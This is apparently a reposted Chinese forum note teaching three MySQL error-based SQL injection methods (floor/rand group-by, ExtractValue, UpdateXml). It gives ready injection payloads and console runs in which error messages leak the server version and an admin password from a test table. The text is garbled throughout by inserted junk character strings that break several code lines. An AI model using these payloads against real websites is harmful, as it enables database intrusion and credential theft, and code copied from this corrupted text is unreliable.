关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
实际测试环境：
7 ~2 R0 ~" ]6 z​
! J4 S' M  e/ g  [- |* [
. Q% K; f. C4 ^3 k9 s  Kmysql> show tables;
+----------------+
| Tables_in_test |
+----------------+
2 S8 B5 G1 K) ]8 \4 K5 N| admin          |
* |0 `' c/ E$ Z8 I4 D| article        |
+----------------+

  [0 ~. _0 l5 a. ?# c' u
% K' M2 _  [. e2 H
mysql> describe admin;
3 V$ x& B6 s7 D+-------+------------------+------+-----+---------+----------------+
6 p: ]9 a) E/ ^6 I% N% R| Field | Type             | Null | Key | Default | Extra          |
9 |; |, i+ T+ c, S+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
+ S% c, k. e" z' ?! ]+ a| user  | varchar(50)      | NO   |     | NULL    |                |
5 ?5 _6 E, u* D/ d| pass  | varchar(50)      | NO   |     | NULL    |                |
4 |% l3 G- H7 t8 P5 P) d. J+-------+------------------+------+-----+---------+----------------+


- V3 S4 f/ g9 s6 J5 @1 z
. @8 Y- c9 y& O. {+ y, _mysql> describe article;
+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
$ A$ F+ H; m4 M0 j1 B6 a/ ~| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
0 [$ J6 x  J/ m; V| content | varchar(50)      | NO   |     | NULL    |                |
( M6 _" ~0 n1 n0 x2 U( ^8 {+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
可以通过如下一些利用代码
( {6 ^2 z  v# F8 z" t4 Y2 U$ A4 I
$ R$ ]3 v3 `/ ~
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
+ G$ i8 S8 |) O% \/ R: s2 C+ c( {from information_schema.tables group by x)a);
1 s8 C0 C7 L* Q  o6 ~. k
/ w' d# `8 l5 E$ g, Y+ q$ u# }
and (select count(*) from (select 1 union select null union select !1)x
) S$ O  a% K* ]8 _  m8 b% lgroup by concat((select table_name from information_schema.tables limit 1),
) J  R9 t! p! ~8 |: A/ ~floor(rand(0)*2)));
+ U6 k7 U8 _2 t举例如下：
首先进行正常查询：
$ j  d+ C( C5 A6 u: v
mysql> select * from article where id = 1;
- x, `* g9 q2 `8 r+----+-------+---------+
/ h  z/ D3 ~, G2 A| id | title | content |
. |  l) e( N% C: B+----+-------+---------+
|  1 | test  | do it   |
& d2 o  w* R$ ?' u+----+-------+---------+
$ @9 W  s& S( D- X: x假如id输入存在注入的话，可以通过如下语句进行报错。
6 d& u# p  U9 J! f  G2 P% R

mysql> select * from article where id = 1 and (select 1 from
$ P( y$ y4 B! m4 G4 b(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
Method1:

2 c& Z( o" t- U4 b( x( N
, u! B) A2 j8 T, U. U$ X$ X% i8 M8 Omysql> select * from article where id = 1 and (select 1 from
+ S' I3 N% i3 g: g(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
* y5 u% k" ?% [6 }% mfrom information_schema.tables group by x)a);
3 m9 t1 ^* X6 KERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:
0 t0 x& z! I0 t9 `, r2 X" N
: Z/ T8 b% e' v; @* N( \4 C: \
7 p) O5 u4 _2 s8 Zmysql> select * from article where id = 1 and (select count(*)
* K% R5 e. z5 Y& Y7 Qfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
: k' y! h4 e2 p1 n* C7 kfloor(rand(0)*2)));
6 j: Y$ |0 F. N3 N. X0 iERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
* K) `2 N7 t1 U/ ~# E2、ExtractValue
测试语句如下
% G$ U3 Q# l0 N. q7 v
. g1 ^; n- k1 c2 g+ l. w" z
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程
' F4 h; F+ V2 ~$ t
1 J+ A0 @$ M$ W
8 k1 a4 E! p, S! v) O( q+ j& nmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
  j8 g) i0 b% q(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
* t& d6 f& ^! V0 o" }7 j# o/ A( T  c3、UpdateXml
# S, g$ h6 l# B- U8 ^. ^测试语句
+ Z+ ?9 n! `% Z% M7 u) @7 K0 i

) |+ o3 L' Y8 }and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程
1 N9 g* Q# f8 Y7 F; p

mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
, g, E' f( r# o2 A8 r4 j* c6 tERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.

​
- f/ R" P1 L' R* ?7 q8 p